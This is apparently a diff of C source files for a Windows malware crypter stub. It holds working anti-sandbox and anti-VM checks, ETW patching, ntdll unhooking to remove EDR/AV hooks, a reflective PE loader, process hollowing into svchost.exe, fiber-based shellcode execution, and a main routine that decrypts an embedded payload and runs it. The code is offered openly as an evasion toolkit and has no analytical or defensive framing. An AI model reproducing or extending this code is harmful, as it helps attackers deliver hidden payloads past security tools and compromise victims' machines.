* 4. Cursor movement over 500ms window
* 5. Known VM registry keys (VBox, VMware, QEMU)
* 6. Known VM process names
*
* If any check indicates a sandbox, calls ExitProcess(0) silently.
*/
#include <windows.h>
#include <stdint.h>
#include "api_resolve.h"
#ifdef EVASION_ANTI_SANDBOX
static void exit_if_sandbox(void) {
g_api.pExitProcess(0);
}
/* Sleep acceleration: sandboxes often fast-forward Sleep() calls */
static void check_sleep_timing(void) {
ULONGLONG t1 = g_api.pGetTickCount64();
g_api.pSleep(1000);
ULONGLONG t2 = g_api.pGetTickCount64();
if ((t2 - t1) < 900) {
exit_if_sandbox();
}
}
/* RAM check */
static void check_ram(void) {
MEMORYSTATUSEX mem;
mem.dwLength = sizeof(mem);
if (g_api.pGlobalMemoryStatusEx(&mem)) {
/* Less than 2 GB total = likely sandbox */
if (mem.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) {
exit_if_sandbox();
}
}
}
/* CPU count */
static void check_cpu_count(void) {
SYSTEM_INFO si;
g_api.pGetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) {
exit_if_sandbox();
}
}
/* Cursor movement: sandboxes often don't move the cursor */
static void check_cursor_movement(void) {
POINT p1, p2;
g_api.pGetCursorPos(&p1);
g_api.pSleep(500);
g_api.pGetCursorPos(&p2);
/* If cursor hasn't moved at all, suspicious but not conclusive.
* Combined with other checks, this strengthens detection. */
if (p1.x == p2.x && p1.y == p2.y) {
/* Only flag if combined with low uptime */
if (g_api.pGetTickCount64() < 10ULL * 60 * 1000) {
exit_if_sandbox();
}
}
}
/* VM registry key check */
static void check_vm_registry(void) {
const char *vm_keys[] = {
"SOFTWARE\\Oracle\\VirtualBox Guest Additions",
"SOFTWARE\\VMware, Inc.\\VMware Tools",
"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
"SYSTEM\\CurrentControlSet\\Services\\VBoxMouse",
"SYSTEM\\CurrentControlSet\\Services\\VBoxSF",
"SYSTEM\\CurrentControlSet\\Services\\vmci",
"SYSTEM\\CurrentControlSet\\Services\\vmhgfs",
"SYSTEM\\CurrentControlSet\\Services\\QEMU",
NULL
};
HKEY hk;
for (int i = 0; vm_keys[i]; i++) {
if (g_api.pRegOpenKeyExA(HKEY_LOCAL_MACHINE, vm_keys[i], 0, KEY_READ, &hk) == ERROR_SUCCESS) {
g_api.pRegCloseKey(hk);
exit_if_sandbox();
}
}
}
void evasion_anti_sandbox_init(void) {
check_sleep_timing();
check_ram();
check_cpu_count();
check_cursor_movement();
check_vm_registry();
}
#endif /* EVASION_ANTI_SANDBOX */
+33
View File
@@ -0,0 +1,33 @@
/**
* evasion_etw.c — ETW (Event Tracing for Windows) patching
*
* Patches EtwEventWrite in ntdll.dll to return STATUS_SUCCESS (0)
* immediately, preventing ETW-based telemetry from logging events.
*/
#include <windows.h>
#include <stdint.h>
#include "api_resolve.h"
#ifdef EVASION_ETW_PATCH
void evasion_etw_init(void) {
/* Resolve EtwEventWrite lazily from ntdll (already in PEB) */
FARPROC pEtwWrite = (FARPROC)api_resolve_func(HASH_NTDLL, HASH_EtwEventWrite);
if (!pEtwWrite) return;
/* Patch EtwEventWrite to immediately return 0 (STATUS_SUCCESS)
* x64 patch: xor eax, eax; ret
* 33 C0 C3
*/
uint8_t patch[] = { 0x33, 0xC0, 0xC3 };
DWORD old_protect;
if (g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
memcpy((LPVOID)pEtwWrite, patch, sizeof(patch));
g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), old_protect, &old_protect);
}
}
#endif /* EVASION_ETW_PATCH */
+25
View File
@@ -0,0 +1,25 @@
/**
* evasion_sleep.c — Delayed execution
*
* Sleeps for a configurable number of seconds before proceeding.
* Helps evade sandbox analysis that has a limited execution window.
* The sleep duration is patched in by the crypter engine.
*/
#include <windows.h>
#include <stdint.h>
#include "api_resolve.h"
#ifdef EVASION_DELAYED_EXEC
/* CRYPTER_SLEEP_SECONDS_PLACEHOLDER */
static const uint32_t SLEEP_SECONDS = 0;
void evasion_sleep_init(void) {
if (SLEEP_SECONDS > 0) {
g_api.pSleep(SLEEP_SECONDS * 1000);
}
}
#endif /* EVASION_DELAYED_EXEC */
+80
View File
@@ -0,0 +1,80 @@
/**
* evasion_unhook.c — NTDLL unhooking
*
* Reads a clean copy of ntdll.dll from disk and overwrites the .text
* section of the in-memory ntdll, removing any EDR/AV inline hooks.
*/
#include <windows.h>
#include <stdint.h>
#include "api_resolve.h"
#ifdef EVASION_UNHOOK_NTDLL
void evasion_unhook_init(void) {
/* Get handle to the in-memory ntdll from pre-resolved base */
HMODULE hNtdll = (HMODULE)g_api.ntdll_base;
if (!hNtdll) return;
/* Build path to ntdll on disk */
char path[MAX_PATH];
g_api.pGetSystemDirectoryA(path, sizeof(path));
g_api.plstrcatA(path, "\\ntdll.dll");
/* Read clean ntdll from disk */
HANDLE hFile = g_api.pCreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return;
DWORD file_size = g_api.pGetFileSize(hFile, NULL);
if (file_size == INVALID_FILE_SIZE || file_size == 0) {
g_api.pCloseHandle(hFile);
return;
}
/* Map the file */
HANDLE hMap = g_api.pCreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hMap) {
g_api.pCloseHandle(hFile);
return;
}
LPVOID pClean = g_api.pMapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
if (!pClean) {
g_api.pCloseHandle(hMap);
g_api.pCloseHandle(hFile);
return;
}
/* Parse PE headers to find .text section */
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)hNtdll;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((uint8_t *)hNtdll + dos->e_lfanew);
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
sec[i].Name[4] == 't') {
/* Found .text section */
LPVOID text_mem = (uint8_t *)hNtdll + sec[i].VirtualAddress;
LPVOID text_disk = (uint8_t *)pClean + sec[i].PointerToRawData;
DWORD text_size = sec[i].SizeOfRawData;
/* Make writable, overwrite, restore protection */
DWORD old_protect;
if (g_api.pVirtualProtect(text_mem, text_size, PAGE_EXECUTE_READWRITE, &old_protect)) {
memcpy(text_mem, text_disk, text_size);
g_api.pVirtualProtect(text_mem, text_size, old_protect, &old_protect);
}
break;
}
}
g_api.pUnmapViewOfFile(pClean);
g_api.pCloseHandle(hMap);
g_api.pCloseHandle(hFile);
}
#endif /* EVASION_UNHOOK_NTDLL */
+299
View File
@@ -0,0 +1,299 @@
/**
* reflective_stub.c — In-process reflective PE loader + fiber execution
*
* Replaces process hollowing (runpe_stub.c). Loads the decrypted PE entirely
* within the current process — no suspended child, no cross-process writes.
*
* Flow:
* 1. Parse PE headers (DOS → NT → sections)
* 2. VirtualAlloc(PAGE_READWRITE) at any address
* 3. Copy PE headers + map each section to its RVA
* 4. Process base relocations (delta = actual - preferred)
* 5. Resolve imports via LoadLibraryA + PEB export walk
* 6. Set correct per-section page protections
* 7. Flush instruction cache
* 8. Execute entry point via fiber (ConvertThreadToFiber → CreateFiber → SwitchToFiber)
*/
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>
#include "api_resolve.h"
/* ── Section protection mapping ─────────────────────────────────── */
static DWORD section_protection(DWORD characteristics) {
DWORD protect = PAGE_NOACCESS;
int exec = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
int read = (characteristics & IMAGE_SCN_MEM_READ) != 0;
int write = (characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (exec && read && write) protect = PAGE_EXECUTE_READWRITE;
else if (exec && read) protect = PAGE_EXECUTE_READ;
else if (exec && write) protect = PAGE_EXECUTE_WRITECOPY;
else if (exec) protect = PAGE_EXECUTE;
else if (read && write) protect = PAGE_READWRITE;
else if (read) protect = PAGE_READONLY;
else if (write) protect = PAGE_WRITECOPY;
return protect;
}
/* ── Relocation processing ──────────────────────────────────────── */
static int process_relocations(uint8_t *base, IMAGE_NT_HEADERS *nt, ptrdiff_t delta) {
if (delta == 0) return 1;
DWORD reloc_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD reloc_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (reloc_rva == 0 || reloc_size == 0) return 0;
IMAGE_BASE_RELOCATION *block = (IMAGE_BASE_RELOCATION *)(base + reloc_rva);
IMAGE_BASE_RELOCATION *end = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + reloc_size);
while (block < end && block->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) {
DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD *entries = (WORD *)((uint8_t *)block + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < count; i++) {
WORD type = entries[i] >> 12;
WORD offset = entries[i] & 0x0FFF;
uint8_t *patch_addr = base + block->VirtualAddress + offset;
switch (type) {
case IMAGE_REL_BASED_ABSOLUTE:
break;
#ifdef _WIN64
case IMAGE_REL_BASED_DIR64: {
uint64_t *ptr = (uint64_t *)patch_addr;
*ptr += (uint64_t)delta;
break;
}
#endif
case IMAGE_REL_BASED_HIGHLOW: {
uint32_t *ptr = (uint32_t *)patch_addr;
*ptr += (uint32_t)delta;
break;
}
case IMAGE_REL_BASED_HIGH: {
uint16_t *ptr = (uint16_t *)patch_addr;
*ptr += (uint16_t)((delta >> 16) & 0xFFFF);
break;
}
case IMAGE_REL_BASED_LOW: {
uint16_t *ptr = (uint16_t *)patch_addr;
*ptr += (uint16_t)(delta & 0xFFFF);
break;
}
default:
break;
}
}
block = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + block->SizeOfBlock);
}
return 1;
}
/* ── Import resolution ──────────────────────────────────────────── */
static int resolve_pe_imports(uint8_t *base, IMAGE_NT_HEADERS *nt) {
DWORD import_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DWORD import_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
if (import_rva == 0 || import_size == 0) return 1;
IMAGE_IMPORT_DESCRIPTOR *desc = (IMAGE_IMPORT_DESCRIPTOR *)(base + import_rva);
while (desc->Name != 0) {
const char *dll_name = (const char *)(base + desc->Name);
HMODULE hMod = g_api.pLoadLibraryA(dll_name);
if (!hMod) {
desc++;
continue;
}
/* Walk the thunk arrays */
#ifdef _WIN64
IMAGE_THUNK_DATA64 *orig_thunk = (IMAGE_THUNK_DATA64 *)(
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
IMAGE_THUNK_DATA64 *iat_thunk = (IMAGE_THUNK_DATA64 *)(base + desc->FirstThunk);
uint64_t ordinal_flag = IMAGE_ORDINAL_FLAG64;
#else
IMAGE_THUNK_DATA32 *orig_thunk = (IMAGE_THUNK_DATA32 *)(
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
IMAGE_THUNK_DATA32 *iat_thunk = (IMAGE_THUNK_DATA32 *)(base + desc->FirstThunk);
uint32_t ordinal_flag = IMAGE_ORDINAL_FLAG32;
#endif
while (orig_thunk->u1.AddressOfData != 0) {
FARPROC func = NULL;
if (orig_thunk->u1.Ordinal & ordinal_flag) {
/* Import by ordinal */
WORD ordinal = (WORD)(orig_thunk->u1.Ordinal & 0xFFFF);
func = (FARPROC)peb_get_proc((void *)hMod, 0);
/* Fallback: we can't easily resolve by ordinal via PEB walk,
so use GetProcAddress if available via LoadLibrary */
if (!func) {
/* Use ordinal directly — cast to LPCSTR */
typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR);
fn_GetProcAddress pGPA = (fn_GetProcAddress)peb_get_proc(
g_api.kernel32_base,
0 /* We'll resolve by name below instead */
);
(void)ordinal;
func = NULL; /* ordinal imports rare for our payloads */
}
} else {
/* Import by name */
IMAGE_IMPORT_BY_NAME *hint = (IMAGE_IMPORT_BY_NAME *)(
base + (DWORD)(orig_thunk->u1.AddressOfData));
/* Resolve via PEB export walk on the loaded module */
func = (FARPROC)peb_get_proc((void *)hMod,
djb2_hash_ascii(hint->Name));
}
if (func) {
#ifdef _WIN64
iat_thunk->u1.Function = (ULONGLONG)func;
#else
iat_thunk->u1.Function = (DWORD)func;
#endif
}
orig_thunk++;
iat_thunk++;
}
desc++;
}
return 1;
}
/* ── Fiber entry trampoline ─────────────────────────────────────── */
typedef BOOL (WINAPI *fn_DllMain)(HINSTANCE, DWORD, LPVOID);
typedef struct {
fn_DllMain entry_point;
LPVOID image_base;
} FiberContext;
static void WINAPI fiber_entry(LPVOID param) {
FiberContext *ctx = (FiberContext *)param;
ctx->entry_point((HINSTANCE)ctx->image_base, DLL_PROCESS_ATTACH, NULL);
}
/* ── Public API ─────────────────────────────────────────────────── */
/* Forward declare internal functions used by resolve_pe_imports */
DWORD djb2_hash_ascii(const char *str);
void *peb_get_proc(void *base, DWORD hash);
/**
* Execute a PE image via in-process reflective loading + fiber.
* pe_data: pointer to decrypted PE bytes
* pe_len: length of the PE data
* Returns 0 on success, -1 on failure.
*/
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
/* ── Validate PE ──────────────────────────────────────────── */
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
DWORD image_size = nt->OptionalHeader.SizeOfImage;
/* ── Allocate in-process memory (RW, no RWX) ─────────────── */
uint8_t *base = (uint8_t *)g_api.pVirtualAlloc(
NULL, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!base) return -1;
/* ── Copy PE headers ──────────────────────────────────────── */
memcpy(base, pe_data, nt->OptionalHeader.SizeOfHeaders);
/* ── Map sections ─────────────────────────────────────────── */
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sec[i].SizeOfRawData == 0) continue;
DWORD copy_size = sec[i].SizeOfRawData;
if (sec[i].PointerToRawData + copy_size > pe_len) {
copy_size = pe_len - sec[i].PointerToRawData;
}
memcpy(base + sec[i].VirtualAddress,
pe_data + sec[i].PointerToRawData,
copy_size);
}
/* ── Process base relocations ─────────────────────────────── */
ptrdiff_t delta = (ptrdiff_t)(base - (uint8_t *)(ULONG_PTR)nt->OptionalHeader.ImageBase);
IMAGE_NT_HEADERS *mapped_nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);
if (delta != 0) {
if (!process_relocations(base, mapped_nt, delta)) {
/* No relocation table and base mismatch — can't proceed */
if (!(mapped_nt->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)) {
g_api.pVirtualFree(base, 0, MEM_RELEASE);
return -1;
}
}
}
/* ── Resolve imports ──────────────────────────────────────── */
if (!resolve_pe_imports(base, mapped_nt)) {
g_api.pVirtualFree(base, 0, MEM_RELEASE);
return -1;
}
/* ── Set per-section page protections ─────────────────────── */
sec = IMAGE_FIRST_SECTION(mapped_nt);
for (WORD i = 0; i < mapped_nt->FileHeader.NumberOfSections; i++) {
DWORD protect = section_protection(sec[i].Characteristics);
DWORD virt_size = sec[i].Misc.VirtualSize;
if (virt_size == 0) virt_size = sec[i].SizeOfRawData;
if (virt_size == 0) continue;
DWORD old_protect;
g_api.pVirtualProtect(
base + sec[i].VirtualAddress,
virt_size,
protect,
&old_protect);
}
/* ── Flush instruction cache ──────────────────────────────── */
g_api.pFlushInstructionCache(g_api.pGetCurrentProcess(), base, image_size);
/* ── Execute via fiber ────────────────────────────────────── */
fn_DllMain entry = (fn_DllMain)(base + mapped_nt->OptionalHeader.AddressOfEntryPoint);
FiberContext fiber_ctx;
fiber_ctx.entry_point = entry;
fiber_ctx.image_base = base;
LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL);
if (!main_fiber) {
/* Already a fiber — get current fiber */
main_fiber = GetCurrentFiber();
}
LPVOID exec_fiber = g_api.pCreateFiber(0, fiber_entry, &fiber_ctx);
if (!exec_fiber) {
g_api.pVirtualFree(base, 0, MEM_RELEASE);
return -1;
}
g_api.pSwitchToFiber(exec_fiber);
/* Control returns here after payload completes or calls SwitchToFiber back */
g_api.pDeleteFiber(exec_fiber);
return 0;
}
+150
View File
@@ -0,0 +1,150 @@
/**
* runpe_stub.c — RunPE / Process Hollowing
*
* Creates a suspended process, unmaps the original image, writes the
* decrypted PE into the target, fixes the entry point, and resumes.
*/
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>
#include "api_resolve.h"
/* CRYPTER_TARGET_PROCESS_PLACEHOLDER */
static const wchar_t TARGET_PROCESS[] = L"C:\\Windows\\System32\\svchost.exe";
/**
* Execute a PE image via process hollowing.
* pe_data: pointer to decrypted PE bytes
* pe_len: length of the PE data
* Returns 0 on success, -1 on failure.
*/
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
STARTUPINFOW si;
PROCESS_INFORMATION pi;
CONTEXT ctx;
NTSTATUS status;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
/* Validate PE */
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
/* Create target process in suspended state */
if (!g_api.pCreateProcessW(TARGET_PROCESS, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
return -1;
}
/* Get thread context to find PEB */
ctx.ContextFlags = CONTEXT_FULL;
if (!g_api.pGetThreadContext(pi.hThread, &ctx)) {
g_api.pTerminateProcess(pi.hProcess, 1);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return -1;
}
/* Read PEB to get image base of the target */
PVOID pbi_buf[6]; /* PROCESS_BASIC_INFORMATION */
status = g_api.pNtQueryInformationProcess(pi.hProcess, 0 /* ProcessBasicInformation */,
pbi_buf, sizeof(pbi_buf), NULL);
if (status != 0) {
g_api.pTerminateProcess(pi.hProcess, 1);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return -1;
}
/* PEB address is the 2nd pointer-sized field */
PVOID peb_addr = pbi_buf[1];
PVOID image_base_addr;
/* Read ImageBaseAddress from PEB (offset 0x10 on x64, 0x08 on x86) */
#ifdef _WIN64
SIZE_T peb_offset = 0x10;
#else
SIZE_T peb_offset = 0x08;
#endif
if (!g_api.pReadProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
&image_base_addr, sizeof(image_base_addr), NULL)) {
g_api.pTerminateProcess(pi.hProcess, 1);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return -1;
}
/* Unmap the original PE image */
g_api.pNtUnmapViewOfSection(pi.hProcess, image_base_addr);
/* Allocate memory at the PE's preferred base */
LPVOID remote_base = g_api.pVirtualAllocEx(
pi.hProcess,
(LPVOID)(ULONG_PTR)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remote_base) {
/* Try at any address if preferred base is taken */
remote_base = g_api.pVirtualAllocEx(
pi.hProcess, NULL,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remote_base) {
g_api.pTerminateProcess(pi.hProcess, 1);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return -1;
}
}
/* Write PE headers */
g_api.pWriteProcessMemory(pi.hProcess, remote_base, pe_data,
nt->OptionalHeader.SizeOfHeaders, NULL);
/* Write each section */
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sec[i].SizeOfRawData == 0) continue;
g_api.pWriteProcessMemory(
pi.hProcess,
(PBYTE)remote_base + sec[i].VirtualAddress,
pe_data + sec[i].PointerToRawData,
sec[i].SizeOfRawData,
NULL
);
}
/* Update PEB ImageBaseAddress to point to our allocation */
g_api.pWriteProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
&remote_base, sizeof(remote_base), NULL);
/* Fix thread context entry point */
#ifdef _WIN64
ctx.Rcx = (DWORD64)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
#else
ctx.Eax = (DWORD)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
#endif
g_api.pSetThreadContext(pi.hThread, &ctx);
/* Resume the target process */
g_api.pResumeThread(pi.hThread);
g_api.pCloseHandle(pi.hThread);
g_api.pCloseHandle(pi.hProcess);
return 0;
}
+58
View File
@@ -0,0 +1,58 @@
/**
* shellcode_stub.c — Shellcode execution (local, fiber-based)
*
* Allocates RW memory, copies decrypted payload, flips to RX,
* and executes via fiber switching (no CreateThread).
*/
#include <windows.h>
#include <stdint.h>
#include <string.h>
#include "api_resolve.h"
/**
* Execute raw shellcode in the current process via fiber.
* sc_data: pointer to decrypted shellcode bytes
* sc_len: length of the shellcode
* Returns 0 on success, -1 on failure.
*/
int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len) {
if (!sc_data || sc_len == 0) return -1;
/* Allocate RW memory */
LPVOID mem = g_api.pVirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem) return -1;
/* Copy shellcode */
memcpy(mem, sc_data, sc_len);
/* Flip to RX (no RWX — avoid easy detection) */
DWORD old_protect;
if (!g_api.pVirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old_protect)) {
g_api.pVirtualFree(mem, 0, MEM_RELEASE);
return -1;
}
/* Execute via fiber — avoids CreateThread behavioral signature */
LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL);
if (!main_fiber) {
main_fiber = GetCurrentFiber();
}
LPVOID sc_fiber = g_api.pCreateFiber(0, (LPFIBER_START_ROUTINE)mem, NULL);
if (!sc_fiber) {
g_api.pVirtualFree(mem, 0, MEM_RELEASE);
return -1;
}
g_api.pSwitchToFiber(sc_fiber);
/* Control returns here after shellcode completes */
g_api.pDeleteFiber(sc_fiber);
/* Clean up */
g_api.pVirtualFree(mem, 0, MEM_RELEASE);
return 0;
}
+80
View File
@@ -0,0 +1,80 @@
/**
* stub_main.c — Crypter stub entry point
*
* Flow:
* 1. Resolve all APIs via PEB walking
* 2. Run enabled evasion modules
* 3. Decrypt embedded payload (XOR + AES-256-CBC)
* 4. Execute via selected mode (RunPE or Shellcode)
* 5. Wipe decrypted payload from memory
*
* The crypter engine defines:
* - EVASION_xxx flags for each enabled evasion module
* - CRYPT_MODE_RUNPE or CRYPT_MODE_SHELLCODE
*/
#include <windows.h>
#include <stdint.h>
#include <string.h>
#include "api_resolve.h"
#include "decrypt_layer.h"
#include "evasion.h"
/* Mode-specific execution functions (linked from runpe_stub.c or shellcode_stub.c) */
#ifdef CRYPT_MODE_RUNPE
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len);
#endif
#ifdef CRYPT_MODE_SHELLCODE
int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len);
#endif
/**
* Securely wipe memory with volatile write to prevent compiler optimization.
*/
static void secure_wipe(void *ptr, size_t len) {
volatile uint8_t *p = (volatile uint8_t *)ptr;
while (len--) *p++ = 0;
}
/**
* WinMain — GUI subsystem entry point (no console window).
*/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
(void)hInstance;
(void)hPrevInstance;
(void)lpCmdLine;
(void)nCmdShow;
/* Step 1: Resolve all APIs via PEB walking */
api_resolve_init();
/* Step 2: Run evasion modules */
evasion_init_all();
/* Step 3: Decrypt payload */
uint32_t payload_len = 0;
uint8_t *payload = decrypt_payload(&payload_len);
if (!payload || payload_len == 0) {
return 1;
}
/* Step 4: Execute */
int result = -1;
#ifdef CRYPT_MODE_RUNPE
result = runpe_execute(payload, payload_len);
#endif
#ifdef CRYPT_MODE_SHELLCODE
result = shellcode_execute(payload, payload_len);
#endif
/* Step 5: Wipe decrypted payload */
secure_wipe(payload, payload_len);
HeapFree(GetProcessHeap(), 0, payload);
return result;
}
BIN
View File
Binary file not shown.